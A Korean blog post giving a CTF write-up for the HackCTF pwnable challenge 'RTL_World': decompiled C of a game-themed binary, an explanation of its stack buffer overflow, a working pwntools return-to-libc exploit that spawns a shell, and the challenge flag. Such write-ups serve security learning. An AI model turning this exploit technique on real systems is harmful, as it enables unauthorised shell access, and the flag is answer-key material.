[HackCTF / pwnable] RTL_World
2019. 10. 8. 03:03ㆍWargame & CTF/HackCTF
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 | int __cdecl main(int argc, const char **argv, const char **envp) { int result; // eax int v4; // [esp+10h] [ebp-90h] char buf; // [esp+14h] [ebp-8Ch] void *v6; // [esp+94h] [ebp-Ch] void *handle; // [esp+98h] [ebp-8h] void *s1; // [esp+9Ch] [ebp-4h] setvbuf(stdout, 0, 2, 0); handle = dlopen("/lib/i386-linux-gnu/libc.so.6", 1); v6 = dlsym(handle, "system"); dlclose(handle); for ( s1 = v6; memcmp(s1, "/bin/sh", 8u); s1 = (char *)s1 + 1 ) ; puts("\n\nNPC [Village Presient] : "); puts("Binary Boss made our village fall into disuse..."); puts("If you Have System Armor && Shell Sword."); puts("You can kill the Binary Boss..."); puts("Help me Pwnable Hero... :(\n"); printf("Your Gold : %d\n", gold); while ( 1 ) { Menu(); printf(">>> "); __isoc99_scanf("%d", &v4); switch ( v4 ) { case 1: system("clear"); puts("[Binary Boss]\n"); puts("Arch: i386-32-little"); puts("RELRO: Partial RELRO"); puts("Stack: No canary found"); puts("NX: NX enabled"); puts("PIE: No PIE (0x8048000)"); puts("ASLR: Enable"); printf("Binary Boss live in %p\n", handle); puts("Binart Boss HP is 140 + Armor + 4\n"); break; case 2: Get_Money(gold); break; case 3: if ( gold <= 1999 ) { puts("You don't have gold... :("); } else { gold -= 1999; printf("System Armor : %p\n", v6); } break; case 4: if ( gold <= 2999 ) { puts("You don't have gold... :("); } else { gold -= 2999; printf("Shell Sword : %p\n", s1); } break; case 5: printf("[Attack] > "); read(0, &buf, 0x400u); return 0; case 6: puts("Your Not Hero... Bye..."); exit(0); return result; default: continue; } } } | cs |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 | int Get_Money() { int result; // eax int v1; // [esp+8h] [ebp-Ch] int v2; // [esp+Ch] [ebp-8h] int v3; // [esp+10h] [ebp-4h] puts("\nThis world is F*cking JabonJui"); puts("1) Farming..."); puts("2) Item selling..."); puts("3) Hunting..."); v3 = 0; v2 = rand(); printf("(Job)>>> "); __isoc99_scanf("%d", &v1); result = v1; if ( v1 == 2 ) { puts("\nItem selling..."); while ( v3 <= 350 ) ++v3; puts("+ 350 Gold"); gold += v3; result = printf("\nYour Gold is %d\n", gold); } else if ( v1 > 2 ) { if ( v1 == 3 ) { puts("\nHunting..."); while ( v3 <= 500 ) ++v3; puts("+ 500 Gold"); gold += v3; result = printf("\nYour Gold is %d\n", gold); } else if ( v1 == 4 ) { puts("\nWow! you can find Hidden number!"); puts("Life is Just a One Shot..."); puts("Gambling..."); printf("+ %d Gold\n", v2); gold += v2; result = printf("\nYour Gold is %d\n", gold); } } else if ( v1 == 1 ) { puts("\nFarming..."); while ( v3 <= 100 ) ++v3; puts("+ 100 Gold"); gold += v3; result = printf("\nYour Gold is %d\n", gold); } return result; } | cs |
5000골드를 벌어서 system armor와 shell sword를 받아서 공격을 하는것이 제작자가 바라는 방식일것이다.
하지만 /bin/sh가 내부 스트링에 있고 system함수 주소도 있기때문에 딱히 5000골드를 벌지 않아도 공격이 가능할것이다.
buf는 ebp-8c이고 read에서 0x400을 받으므로 오버플로우가 일어난다. ret에 system.plt+AAAA+/bin/sh_address를 넣으면 쉘이 뜰것이다.
ex.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | from pwn import * e = ELF("./rtl_world") p = process("./rtl_world") p.recvuntil(">>> ") p.sendline("5") p.recvuntil("> ") payload = "" payload += "A"*(0x8c+0x4) payload += p32(e.plt["system"]) payload += "AAAA" payload += p32(0x08048eb1) p.sendline(payload) p.interactive() | cs |
RTL_World : HackCTF{17_w45_4_6r347_r7l_w0rld}
'Wargame & CTF > HackCTF' 카테고리의 다른 글
[HackCTF / pwnable] 1996 (0) | 2019.10.08 |
---|---|
[HackCTF / pwnable] g++ pwn (0) | 2019.10.08 |
[HackCTF / pwnable] Yes or no (0) | 2019.10.05 |
[HackCTF / pwnable] BOF_PIE (0) | 2019.10.05 |
[HackCTF / pwnable] Offset (0) | 2019.10.05 |